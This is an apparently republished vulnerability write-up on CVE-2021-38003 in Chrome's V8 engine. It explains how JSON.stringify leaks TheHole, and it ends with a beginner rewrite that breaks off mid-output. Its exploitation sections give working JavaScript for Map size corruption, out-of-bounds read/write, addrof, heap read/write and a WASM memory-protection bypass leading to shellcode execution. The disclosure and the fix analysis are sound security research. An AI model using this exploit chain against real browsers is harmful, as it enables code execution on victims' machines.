TheHole New World - how a small leak will sink a great browser (CVE-2021-38003)
A flaw in how V8's JSON.stringify handles an internal string-length overflow error meant the special internal value TheHole could be returned to JavaScript instead of a real exception. An attacker could use that leaked value to corrupt a Map's size and build out-of-bounds read/write primitives leading to renderer remote code execution in Chromium.
Published on starlabs.sg
CVE-2021-38003 is a vulnerability that exists in the V8 Javascript engine. The vulnerability affects the Chrome browser before stable version 95.0.4638.69, and was disclosed in October 2021 in google’s chrome release blog, while the bug report was made public in February 2022.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
CVE-2021-38003 is a vulnerability in the V8 JavaScript engine that affects the Chrome browser before stable version 95.0.4638.69. It was disclosed in October 2021 in Google's Chrome release blog, and the bug report was made public in February 2022. The bug causes a special internal V8 value called TheHole to be leaked to the script. That leak can lead to a renderer RCE in a Chromium-based browser, and the bug has been used in the wild.
The feature involved is JSON.stringify(). Normally it serialises a JavaScript value into a JSON string, walking arrays and objects and building the output incrementally. The vulnerability appears when V8 handles an exception raised while serialising a JSON array.
Setup
The research was done against V8's d8 shell for the proof of concept, and against a downloadable Chromium build for the full exploit. The vulnerable Chromium version used for the demo is 95.0.4638.0, which the author notes is the latest downloadable version of the vulnerable browser. The demo runs it with --no-sandbox. The PoC uses %DebugPrint, so it needs --allow-natives-syntax when run under d8. The exploit code is published in the star-sg/CVE repository under CVE-2021-38003.
Finding it
The starting point is the behaviour of V8's exception machinery. When an exception is raised inside a built-in function, the corresponding Isolate's pending_exception member is set. Invoking code then jumps into V8's exception handling machinery, where pending_exception is fetched from the active isolate and the currently active JavaScript exception handler is invoked with it. When no exception is pending, pending_exception holds the special value TheHole. So if code fetches an exception from an empty pending_exception, the TheHole value is leaked to the script.
Serialising a JSON array with JSON.stringify() follows this call path:
JsonStringifier::Stringify() ->
JsonStringifier::Serialize_() ->
JsonStringifier::SerializeJSArray() ->
JsonStringifier::SerializeArrayLikeSlow() // where the bug exist
Most exceptions in these functions are paired with isolate_->Throw(...). For example, in JsonStringifier::SerializeArrayLikeSlow():
// We need to write out at least two characters per array element.
static const int kMaxSerializableArrayLength = String::kMaxLength / 2;
if (length > kMaxSerializableArrayLength) {
isolate_->Throw(*isolate_->factory()->NewInvalidStringLengthError());
return EXCEPTION;
}
isolate_->Throw calls Isolate::ThrowInternal(), which eventually sets the pending exception. When the function later does return EXCEPTION;, the exception is fetched from pending_exception during exception handling, and because it was set beforehand, the fetch works.
One path fetches the exception without setting the pending exception first. In JsonStringifier::SerializeArrayLikeSlow():
HandleScope handle_scope(isolate_);
for (uint32_t i = start; i < length; i++) {
Separator(i == 0);
Handle<Object> element;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate_, element, JSReceiver::GetElement(isolate_, object, i),
EXCEPTION);
Result result = SerializeElement(isolate_, element, i); // [1]
if (result == SUCCESS) continue;
if (result == UNCHANGED) {
// Detect overflow sooner for large sparse arrays.
if (builder_.HasOverflowed()) return EXCEPTION; // [2]
builder_.AppendCStringLiteral("null");
} else {
return result;
}
}
During serialisation at [1], the code checks for errors. One of them is an overflow while appending the serialised string to the result, at [2]. If that happens, the function raises the exception. SerializeElement eventually calls v8::internal::IncrementalStringBuilder::Accumulate(), which detects the overflow. Accumulate() can be reached from two functions:
v8::internal::IncrementalStringBuilder::Extendv8::internal::IncrementalStringBuilder::Finish
When Accumulate() is called from Finish(), the overflow is checked and the error is thrown, pending the exception:
MaybeHandle<String> IncrementalStringBuilder::Finish() {
ShrinkCurrentPart();
Accumulate(current_part());
// Here it will throw the error if it's overflowed
if (overflowed_) {
THROW_NEW_ERROR(isolate_, NewInvalidStringLengthError(), String);
}
return accumulator();
}
When Accumulate() is called from Extend(), there is no overflow check, so no exception is pended even though Accumulate() detected the overflow. Inside SerializeElement, Accumulate() is called by Extend(). So even when the overflow happens, the pending exception is never set, and there is no isolate_->Throw before return EXCEPTION. The pending exception is completely empty, and when the exception is fetched from pending_exception, the TheHole value is returned to the script.
Exploitation
Step 1: Leaking TheHole
The PoC from the bug report:
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
console.log(hole);
%DebugPrint(hole);
trigger() builds arrays containing long strings. JSON.stringify(b) then triggers the overflow error, which lets the code fetch TheHole from pending_exception and return it to the script. The try-catch captures the exception, which is the TheHole value, for further use. Running it under d8 confirms the leak:
> ./d8 ./poc.js --allow-natives-syntax
hole
DebugPrint: 0x19be0804242d: [Oddball] in ReadOnlySpace: #hole
0x19be08042405: [Map] in ReadOnlySpace
- type: ODDBALL_TYPE
- instance size: 28
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x19be080423b5 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x19be080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x19be08042235 <null>
- constructor: 0x19be08042235 <null>
- dependent code: 0x19be080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
%DebugPrint prints the #hole object. This V8 internal object should never be returned to a script, yet the vulnerability hands it over.
Step 2: Corrupting map size
The exploit starts from the PoC in the bug report:
let hole = trigger(); // Get the hole value
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
// Now map.size = -1
This makes the map's size -1, because of how JSMap handles TheHole values. Deleting a key-value in a map runs this builtin:
TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
const auto receiver = Parameter<Object>(Descriptor::kReceiver);
const auto key = Parameter<Object>(Descriptor::kKey);
const auto context = Parameter<Context>(Descriptor::kContext);
ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE,
"Map.prototype.delete");
const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
TVARIABLE(IntPtrT, entry_start_position_or_hash, IntPtrConstant(0));
Label entry_found(this), not_found(this);
TryLookupOrderedHashTableIndex<OrderedHashMap>(
table, key, &entry_start_position_or_hash, &entry_found, ¬_found);
BIND(¬_found);
Return(FalseConstant());
BIND(&entry_found);
// [1]
// If we found the entry, mark the entry as deleted.
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * OrderedHashMap::HashTableStartIndex());
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));
// Decrement the number of elements, and increment the number of deleted elements.
const TNode<Smi> number_of_elements = SmiSub(
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
const TNode<Smi> number_of_deleted =
SmiAdd(CAST(LoadObjectField(
table, OrderedHashMap::NumberOfDeletedElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfDeletedElementsOffset(),
number_of_deleted);
const TNode<Smi> number_of_buckets = CAST(
LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex()));
// [2]
// If there fewer elements than #buckets / 2, shrink the table.
Label shrink(this);
GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
number_of_buckets),
&shrink);
Return(TrueConstant());
BIND(&shrink);
CallRuntime(Runtime::kMapShrink, context, receiver);
Return(TrueConstant());
}
At [1], deleting an entry overwrites its key and value with TheHole. With an entry (hole, 1), overwriting the key with TheHole does not delete the entry, because the key already is TheHole. That allows the (hole, 1) entry to be deleted multiple times, corrupting the map's size.
At [2], the builtin checks whether the element count is fewer than half the bucket count, and if so shrinks the map and removes the hole values, after which (hole, 1) can no longer be deleted. That is why the PoC deletes (hole, 1) twice and then deletes (1, 1) instead. The (1, 1) entry is what makes map.size equal -1. The sequence is:
- Set
(1, 1)and(hole, 1)in the map. Nowelement count= 2,bucket count= 2. - Delete
(hole, 1). Nowelement count= 1,bucket count= 2. - Delete
(hole, 1)again. Nowelement count= 0,bucket count= 2. Sinceelement count<bucket count / 2, the map shrinks and theholevalues are removed. - There is no hole value left, so
(hole, 1)cannot be deleted again. The(1, 1)entry is still there, so deleting it decreaseselement countby 1, makingelement count(that is,map.size) equal-1.
Step 3: Modifying map structure
To go further, you need to know what a map looks like in memory. The structure is illustrated below, taken from Andrey Pechkurov's blog post on map internals:

A map is an array with three parts:
- Header: entry count (
element count), deleted count andbucket count. - hashTable: stores the indices of the buckets. Its size depends on
header[2], the bucket count. - dataTable: stores the key, value and index of the next entry in the chain. Its size also depends on
header[2].
After map.size becomes -1, the next map.set() lets you control header[2] (the bucket count) and hashTable[0]. Overwriting the bucket count controls the size of hashTable and dataTable. Setting the bucket count to a large number makes dataTable exceed its boundary, so map.set() (which updates dataTable) gives an OOB write. This matters because var map = new Map(); creates a map that is actually an array with a fixed size, default 0x11.
The plan:
- After making the map's size
-1, place an array of floating point numbers, calledoob_arr, right behind the map.

- Use
map.set()to control the bucket count andhashTable[0], which controls the size ofhashTableanddataTable. The bucket count must be big enough fordataTableto overlap withoob_arr.

- Use
map.set()again to updatedataTable, overwriting the structure ofoob_arr, in particular its length, so the array can be used for OOB read/write.
Step 4: Achieving OOB read/write with oob_arr
Overwriting oob_arr's length needs care. A simplified pseudo code of how a map is updated:
hash_table_index = hashcode(key) & (bucket_count-1)
current_index = current_element_count
if hashTable[hash_table_index] == -1:
// add new key-value
// no boundary check
dataTable[current_index].key = key
dataTable[current_index].value = value
..........
else:
// update existing key-value in map
// has boundary check
Updating a map checks whether the key already exists. If it does, the existing key-value is updated with a boundary check, which would fail the exploit. So the code path must be avoided by making hashTable[hash_table_index] equal -1. The only hashTable entry under control is hashTable[0], so hashcode(key) & (bucket_count-1) must equal 0. V8 uses a well-known hash function for hashcode, available in code online, which lets you control hashcode(key). Also, current_index becomes 0 after the bucket count and hashTable[0] are set, so the bucket count must be large enough that updating dataTable[0].key overwrites oob_arr.length.
The values to set carefully:
bucket count: large enough that updatingdataTable[0].keyoverwritesoob_arr.length.hashTable[0]: set to-1so the nextmap.set()passes thehashTable[hash_table_index] == -1check and updatesdataTable[0].key.key: large enough for OOB read/write, and withhashcode(key) & (bucket_count-1)equal to0.
Examining the memory layout with the debugger shows the bucket count should be 0x1c. A small C++ program computes the key:
#include <bits/stdc++.h>
using namespace std;
uint32_t ComputeUnseededHash(uint32_t key) {
uint32_t hash = key;
hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}
int main(int argc, char *argv[]) {
uint32_t i = 0;
while(i <= 0xffffffff) {
/* bucket_count is 0x1c
* hashcode(key) & (bucket_count-1) should become 0
* we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 0
*/
uint32_t hash = ComputeUnseededHash(i);
if (((hash&0x1b) == 0) && (i > 0x100)) {
printf("Found: %p\n", i);
break;
}
i = (uint32_t)i+1;
}
return 0;
}
This finds the key 0x111. With map.size at -1, the following snippet achieves OOB read/write in a float array:
// oob array. This array's size will be overwritten by map, thus can do OOB read/write
oob_arr = [1.1, 1.1, 1.1, 1.1];
// OOB write in map, overwrite oob_arr's size to 0x111
map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, overwrite oob_arr's length into 0x111
// Now oob_arr.length == 0x111
Step 5: The addrof primitive
With OOB read/write in a float array, more primitives follow. One of the most important in browser exploitation is addrof, which leaks the address of a JavaScript object in V8. To get it, place another float array (victim_arr) and an object array (obj_arr) behind oob_arr:

OOB read/write in oob_arr controls the entire structure of victim_arr and obj_arr, including their element pointers. To achieve addrof, modify their element pointers so both point to the same heap memory:

Then put the target object in obj_arr[0] and read its address from victim_arr[0]:
oob_arr = [1.1, 1.1, 1.1, 1.1]; // oob array. This array's size will be overwritten by map, thus can do OOB read/write
victim_arr = [2.2, 2.2, 2.2, 2.2]; // victim array. This array lies within oob array, thus its member can be controlled by oob array
obj_arr = [{}, {}, {}, {}]; // object array. Used for storing the object. This array lies within oob array. Thus its member can be controlled by oob array.
// OOB write in map, overwrite oob_arr's size to 0x111
map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, overwrite oob_arr's length into 0x111
data = ftoi(oob_arr[12]); // victim_arr's element and size
ori_victim_arr_elem = data & 0xffffffffn; // get original victim_arr's element pointer
/*
* addrof primitive
* Modify the element pointer of victim_arr ( oob_arr[12] ) & obj_arr ( oob_arr[31] ), make them point to same memory
* Then put object in obj_arr[0] and read its address with victim_arr[0]
*
* @param {object} o Target object
* @return {BigInt} address of the target object
* */
function addrof(o) {
oob_arr[12] = itof((0x8n << 32n) | ori_victim_arr_elem); // set victim_arr's element pointer & size
oob_arr[31] = itof((0x8n << 32n) | ori_victim_arr_elem); // set obj_arr's element pointer & size
obj_arr[0] = o;
return ftoi(victim_arr[0]) & 0xffffffffn;
}
Step 6: V8 heap arbitrary read/write
Since pointer compression was introduced in V8, JavaScript objects live on the V8 heap, a region that stores the object's compressed 32-bit pointer. Each access retrieves the compressed pointer and adds a base value to obtain the real address.
Arbitrary read/write on this V8 heap area is useful. Since the element pointer of victim_arr is under control, it can be set anywhere in the V8 heap, and accessing victim_arr[0] reads or writes there. When victim_arr's element pointer is set to addr, victim_arr[0] returns the content at addr+8, so the pointer must be set to addr-8 to read or write the content at addr:
/*
* arbitrary V8 heap read primitive
* Modify the element pointer of victim_arr ( oob_arr[12] )
* Use victim_arr[0] to read 64 bit content from V8 heap
*
* @param {BigInt} addr Target V8 heap address
* @return {BigInt} 64 bit content of the target address
* */
function heap_read64(addr) {
oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
return ftoi(victim_arr[0]);
}
/*
* arbitrary V8 heap write primitive
* Use the same method in heap_read64 to modify pointer
* Then victim_arr[0] to write 64 bit content to V8 heap
*
* @param {BigInt} addr Target V8 heap address
* @param {BigInt} val Written value
* */
function heap_write64(addr, val) {
oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
victim_arr[0] = itof(val);
}
Step 7: Arbitrary write
At this point the exploit can leak the address of any JavaScript object and read/write any V8 heap address. RCE needs an arbitrary write. This version of V8 does not have the V8 Sandbox, so an arbitrary write is much easier to achieve.
The steps:
- Create a
DataViewobject (dv) and leak its address withaddrof. - Use
heap_read64to leak the V8 heap address that stores the backing store pointer ofdv. - Use
heap_write64to modify the backing store pointer ofdv, after whichdv.setUint8(index, value)gives an arbitrary write.
dv = new DataView(new ArrayBuffer(0x1000)); // typed array used for arbitrary read/write
dv_addr = addrof(dv);
dv_buffer = heap_read64(dv_addr+0xcn); // dv_addr + 0xc = DataView->buffer
/*
* Set DataView's backing store pointer, so later we can use dv to achieve arbitrary read/write
* @param {BigInt} addr Target address to read/write
* */
function set_dv_backing_store(addr) {
heap_write64(dv_buffer+0x1cn, addr); // dv_buffer+0x1c == DataView->buffer->backing store pointer
}
set_dv_backing_store sets the backing store pointer of dv to an arbitrary address. These are all the primitives needed to execute shellcode.
Step 8: Writing and executing shellcode
The usual next step is to create a WASM function, overwrite the WASM RWX code page with shellcode, and jump to it by triggering the WASM function. The target browser, Chromium 95.0.4638.0, has the wasm-memory-protection-keys flag switched on, which means write-protect WASM memory. That protection prevents writing data directly to WASM memory, which would cause a SEGV, even though the WASM memory pages are marked RWX.
Man Yue Mo from GitHub Security Lab covered a bypass in a blog post:
- Before creating the WASM instance, overwrite the
FLAG_wasm_memory_protection_keysflag so write-protect WASM memory is not enabled. - To locate the address of
FLAG_wasm_memory_protection_keys, get the base address of the Chromium binary, whichaddrofandheap_read64make easy. - After overwriting
FLAG_wasm_memory_protection_keysto0, create the WASM instance. The rest is the same.
Using the same method as the blog post, the exploit leaks the base address of the Chromium binary, calculates the address of FLAG_wasm_memory_protection_keys and overwrites it to 0:
// Calculate the address of FLAG_wasm_memory_protection_keys
// ref: https://securitylab.github.com/research/[redacted]/
oac = new OfflineAudioContext(1,4000,4000);
wrapper_type_info = heap_read64(addrof(oac)+0xcn);
chrome_base = wrapper_type_info - 0xc4a6170n;
FLAG_wasm_memory_protection_keys = chrome_base + 0xc59c7e2n;
// Overwrite FLAG_wasm_memory_protection_keys to 0
set_dv_backing_store(FLAG_wasm_memory_protection_keys); // set dv point to FLAG_wasm_memory_protection_keys
dv.setUint8(0, 0); // Overwrite the flag to 0
The offset of FLAG_wasm_memory_protection_keys can be found with nm:
> nm --demangle ./chrome | grep "wasm_memory_protection_keys"
000000000c59c7e2 b v8::internal::FLAG_wasm_memory_protection_keys <--
0000000001884bc1 r v8::internal::FLAGDEFAULT_wasm_memory_protection_keys
After that:
- Create a WASM instance and leak the address of the RWX code page.
- Overwrite the RWX code page with shellcode.
- Jump to the shellcode by triggering the WASM function.
Demo
The demo pops xcalc in a vulnerable Chromium browser (version 95.0.4638.0, with --no-sandbox). The whole exploit is in the star-sg/CVE repository.
Root cause
IncrementalStringBuilder::Extend() calls Accumulate() but does not check the overflowed_ flag, so no exception is pended. SerializeArrayLikeSlow() then returns EXCEPTION without calling isolate_->Throw. The exception machinery fetches pending_exception, which still holds TheHole, and passes it to the script. Most other error paths pair isolate_->Throw with return EXCEPTION, and that pairing was missing on this path.
Impact
A leaked TheHole value allows a script to corrupt a Map's size to -1, then to corrupt the map's bucket count and hash table, producing OOB read/write in a float array. From there the exploit builds addrof, V8 heap arbitrary read/write and, via a DataView backing store, an arbitrary write. On Chromium 95.0.4638.0 the WASM write protection is bypassed by zeroing FLAG_wasm_memory_protection_keys, after which shellcode is written to the WASM RWX page and executed. The result is RCE in the renderer process of a Chromium-based browser, and the bug has been used in the wild. The demo relies on --no-sandbox; the report does not describe the behaviour with the sandbox enabled.
Fix
The vulnerability was patched with a single line of code:
Object Isolate::pending_exception() {
+ CHECK(has_pending_exception());
DCHECK(!thread_local_top()->pending_exception_.IsException(this));
return thread_local_top()->pending_exception_;
}
The patch ensures the program will not fetch the exception when pending_exception is empty.
Because TheHole can still be leaked from other vulnerabilities, such as CVE-2022-1364, Google later submitted another patch to make sure nobody can exploit the renderer with a TheHole value. That patch added CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant())); to make sure the key is not a TheHole value when it is deleted from a map.
Variants to test
- Other builtins that fetch
pending_exceptionwithout setting it. Look for paths that return an exception status without a precedingisolate_->Throw, especially where a builder or accumulator can set an overflow flag that is only checked in one of its callers. A positive result is a script that catches a value which%DebugPrintidentifies as#hole. - Other operations that treat
TheHoleas a normal key or value. The map delete path was exploitable because overwriting a key withTheHoledid not remove the entry. Test other collection operations (set, delete, lookup) with a leakedTheHoleand check whether counts or sizes can be driven negative or inconsistent. - Map size corruption without hash computation. Numen Cyber Labs' article shows a different method of overwriting an array's length with the bug:
var map1 = null;
var foo_arr = null;
function getmap(m) {
m = new Map();
m.set(1, 1);
m.set(%TheHole(), 1);
m.delete(%TheHole());
m.delete(%TheHole());
m.delete(1);
return m;
}
for (let i = 0; i < 0x3000; i++) {
map1 = getmap(map1);
foo_arr = new Array(1.1, 1.1);//1.1=3ff199999999999a
}
map1.set(0x10, -1);
gc();
map1.set(foo_arr, 0xffff);
%DebugPrint(foo_arr);
They increase the capacity of the map and overwrite the target array's length with map1.set(foo_arr, 0xffff);, avoiding hashcode calculation, which is more stable and independent of the Chrome or d8 version.
- WASM write protection bypass. On builds with
wasm-memory-protection-keysenabled, check whetherFLAG_wasm_memory_protection_keyscan be located from a leaked binary base and zeroed before creating a WASM instance.
What happened, in plain words
In October 2021, Google published a Chrome update that fixed a security bug tracked as CVE-2021-38003. The bug lived in V8, the part of Chrome that reads and runs the JavaScript code found on web pages. The affected versions were Chrome releases before stable version 95.0.4638.69. The public bug report appeared in February 2022, and the bug has been used in the wild.
The bug is small in appearance: a value that V8 keeps for its own internal bookkeeping, called TheHole, could be handed to a web page's JavaScript. TheHole is meant to be invisible to scripts. Once a script holds it, the script can misuse it to break the internal counters of a JavaScript Map object, then use that breakage to read and write memory outside the areas it should be allowed to touch. From there, an attacker can run their own machine code inside the browser process that renders the page, which is called a renderer. That last step is what people mean by RCE, remote code execution: someone else's code runs on your machine.
This article walks through the whole chain at a beginner's pace: what the bug is, how the researcher proved it, and how each exploitation step builds on the previous one.
Background ideas you need first
Before the details, a few everyday ideas. You do not need to memorise them; each one comes back when it is used.
- Browser and renderer. A browser like Chrome is split into several processes. The renderer is the process that turns a web page's HTML, CSS and JavaScript into what you see. A renderer RCE means an attacker escaped that separation and got code running inside the renderer process.
- JavaScript engine. The program inside the browser that reads and executes JavaScript. Chrome uses V8. The same engine also runs in Node.js, a way of running JavaScript outside a browser.
- Built-in function. A function that the engine provides, such as
JSON.stringify(), rather than one written by a web page. Built-ins are written in a lower-level language (C++) for speed. - Exception. A way for a program to signal that something went wrong. In JavaScript you write
try { ... } catch (e) { ... }: thetryblock runs, and if something inside it throws an exception, thecatchblock receives it. Think of a fire alarm: the alarm is raised, and whoever is listening deals with it. - Serialisation. Turning a live data structure into a flat piece of text that can be stored or sent.
JSON.stringify()does this: it takes a JavaScript value and produces a JSON string. JSON is a simple text format for data, using braces for objects and square brackets for arrays. - Heap. A region of memory a program uses to store things it creates while running. V8 keeps JavaScript objects on its own heap, the V8 heap.
- Pointer. A number that says where in memory something lives, like a house number. A pointer to an object is effectively the object's address.
- Out-of-bounds (OOB) read/write. Reading or writing memory past the end of an array, into neighbouring memory that belongs to something else. Like reading past the last page of a notebook and finding someone else's notes. It is a classic building block in exploitation.
- Primitive. A small, reliable capability that an exploit builds up, such as "read any memory address" or "learn the address of any object". Exploits are usually a chain of primitives, each one making the next possible.
- Shellcode. A small piece of machine code that an attacker wants to run. The name comes from the historical goal of opening a command shell.
- WASM. WebAssembly, a compact binary format that browsers can run at near-native speed. Browsers keep the machine code for WASM functions in memory pages that are marked readable, writable and executable.
- RWX. A memory page marked readable, writable and executable. If an attacker can write to such a page, they can put code there and then run it.
- SEGV. A segmentation fault: the operating system stopping a program because it touched memory it was not allowed to touch. It is the crash you see when a program does something illegal with memory.
- Sandbox. The isolation around a process. Chrome's renderer sandbox limits what a compromised renderer can do to the rest of the machine.
- Hash function. A function that turns a value (such as a key) into a number, used to decide where to store it in a table. The same input always gives the same output, and the output looks scrambled.
The setup used for the research
The proof of concept, the small program that demonstrates the bug, was run in d8. d8 is V8's own command-line shell: a bare JavaScript runner with no browser window, used by engine developers. It has extra debugging commands, such as %DebugPrint, which prints the internal representation of a value. Those commands are not available to normal web pages, so d8 must be started with --allow-natives-syntax to permit them.
The full exploit was run against a downloadable Chromium build, version 95.0.4638.0, which the author describes as the latest downloadable version of the vulnerable browser. The demo runs it with --no-sandbox, a flag that turns off the renderer sandbox. The exploit code is published in the star-sg/CVE repository under CVE-2021-38003.
Finding the bug
How V8 handles exceptions
When something goes wrong inside a built-in function, V8 records the problem in a slot belonging to the current isolate. An isolate is V8's term for one independent JavaScript environment, with its own heap and state. The slot is called pending_exception, and you can picture it as a tray where the engine puts the "something went wrong" note.
After the note is placed, the engine jumps into its exception-handling machinery. That machinery takes the note out of the tray and hands it to the JavaScript catch block that is currently active. When there is no problem at all, the tray is not empty: it holds the special value TheHole, a placeholder meaning "nothing here". So if some code asks for the exception while the tray still holds the placeholder, the script receives TheHole instead of a real error. That is exactly the leak.
The path through JSON.stringify
Serialising a JSON array with JSON.stringify() goes through this chain of functions:
JsonStringifier::Stringify() ->
JsonStringifier::Serialize_() ->
JsonStringifier::SerializeJSArray() ->
JsonStringifier::SerializeArrayLikeSlow() // where the bug exist
Read it top to bottom: Stringify() is the entry point, it calls Serialize_(), which calls SerializeJSArray() for arrays, which calls SerializeArrayLikeSlow() to walk the elements one by one. The comment marks the last function as the place where the bug lives.
In these functions, most error paths follow a careful pattern: raise the error first, then return a status saying "an exception happened". For example, in JsonStringifier::SerializeArrayLikeSlow():
// We need to write out at least two characters per array element.
static const int kMaxSerializableArrayLength = String::kMaxLength / 2;
if (length > kMaxSerializableArrayLength) {
isolate_->Throw(*isolate_->factory()->NewInvalidStringLengthError());
return EXCEPTION;
}
Line by line:
- The comment explains the limit: each array element needs at least two characters in the output, so the maximum sensible array length is half the maximum string length.
kMaxSerializableArrayLengthstores that limit.- The
ifchecks whether the array is longer than the limit. - If it is,
isolate_->Throw(...)creates an "invalid string length" error and puts it in the tray. This is the important part: the note is placed before anything else happens. return EXCEPTION;tells the caller that an exception occurred.
Because the note was placed first, when the exception machinery later fetches it from pending_exception, there is a real error waiting. No leak.
The one path that forgets
There is one path that fetches the exception without placing a note first. Here is the loop from JsonStringifier::SerializeArrayLikeSlow():
HandleScope handle_scope(isolate_);
for (uint32_t i = start; i < length; i++) {
Separator(i == 0);
Handle<Object> element;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate_, element, JSReceiver::GetElement(isolate_, object, i),
EXCEPTION);
Result result = SerializeElement(isolate_, element, i); // [1]
if (result == SUCCESS) continue;
if (result == UNCHANGED) {
// Detect overflow sooner for large sparse arrays.
if (builder_.HasOverflowed()) return EXCEPTION; // [2]
builder_.AppendCStringLiteral("null");
} else {
return result;
}
}
Line by line:
HandleScope handle_scope(isolate_);sets up a small bookkeeping area so temporary objects are cleaned up automatically.- The
forloop walks the array from the starting index to the end. Separator(i == 0);writes the comma between elements (no comma before the first one).Handle<Object> element;declares a variable to hold the current element.ASSIGN_RETURN_ON_EXCEPTION_VALUE(...)fetches the element at indexi; if that fetch itself fails, it returnsEXCEPTIONimmediately.SerializeElement(...)at marker[1]turns the element into text. The result is stored inresult.- If the result is
SUCCESS, the loop continues to the next element. - If the result is
UNCHANGED, the element could not be serialised as-is. The code then checks at marker[2]whether the output builder has overflowed, meaning the output string has grown beyond what it can hold. If so, it returnsEXCEPTIONright away. - Otherwise it appends the text
nullin place of the element. - If the result is anything else, it returns that result.
The problem is at marker [2]: the function returns EXCEPTION without first calling isolate_->Throw. It assumes somebody else already placed the note. Whether that is true depends on which internal function detected the overflow.
Where the overflow is detected
Inside SerializeElement, the engine appends text to a growing buffer through a helper called v8::internal::IncrementalStringBuilder::Accumulate(). That helper is the one that notices the buffer has overflowed. It can be reached from two places:
v8::internal::IncrementalStringBuilder::Extendv8::internal::IncrementalStringBuilder::Finish
When the call comes from Finish(), the overflow is checked and the error is raised properly:
MaybeHandle<String> IncrementalStringBuilder::Finish() {
ShrinkCurrentPart();
Accumulate(current_part());
// Here it will throw the error if it's overflowed
if (overflowed_) {
THROW_NEW_ERROR(isolate_, NewInvalidStringLengthError(), String);
}
return accumulator();
}
Line by line:
ShrinkCurrentPart();trims the current working part of the buffer.Accumulate(current_part());adds that part to the final result, and this is where an overflow can be detected.- The comment marks the next check.
if (overflowed_)asks whether the overflow flag was set.- If it was,
THROW_NEW_ERROR(...)raises the invalid string length error, which places the note in the tray. return accumulator();returns the finished string.
When the call comes from Extend(), there is no such check. Extend() does not look at the overflow flag, so no note is placed even though Accumulate() noticed the problem. Inside SerializeElement, the call comes from Extend(). So the overflow happens, the flag is set, SerializeArrayLikeSlow() returns EXCEPTION, and the tray is still holding TheHole. The exception machinery fetches it and hands it to the script.
Exploitation, step by step
Step 1: Getting TheHole into a script
Here is the proof of concept from the bug report:
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
console.log(hole);
%DebugPrint(hole);
Line by line:
function trigger() {starts a function that will try to provoke the bug.let a = [], b = [];creates two empty arrays.let s = '"'.repeat(0x800000);builds a very long string made of double-quote characters.0x800000is hexadecimal for 8,388,608, so the string is millions of characters long.a[20000] = s;puts that long string at index 20000 ofa, leaving a large gap of empty slots before it. This makesaa sparse array, one with holes in it.- The first
forloop fills the first ten slots ofawith the same long string. - The second
forloop fills the first ten slots ofbwith references toa, sobis an array of arrays. try { JSON.stringify(b); }asks the engine to serialiseb. Because the strings are enormous, the output buffer overflows, which is the condition that triggers the bug.catch (hole) { return hole; }catches whatever the engine hands back. Because of the bug, that is not a normal error but theTheHolevalue. The function returns it.throw new Error('could not trigger');is a safety net: if the bug did not happen, the function complains instead of returning nothing useful.let hole = trigger();runs the function and stores the result.console.log(hole);prints it.%DebugPrint(hole);asksd8to print the internal details of the value.
Running it under d8 confirms the leak:
> ./d8 ./poc.js --allow-natives-syntax
hole
DebugPrint: 0x19be0804242d: [Oddball] in ReadOnlySpace: #hole
0x19be08042405: [Map] in ReadOnlySpace
- type: ODDBALL_TYPE
- instance size: 28
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x19be080423b5 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x19be080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x19be08042235 <null>
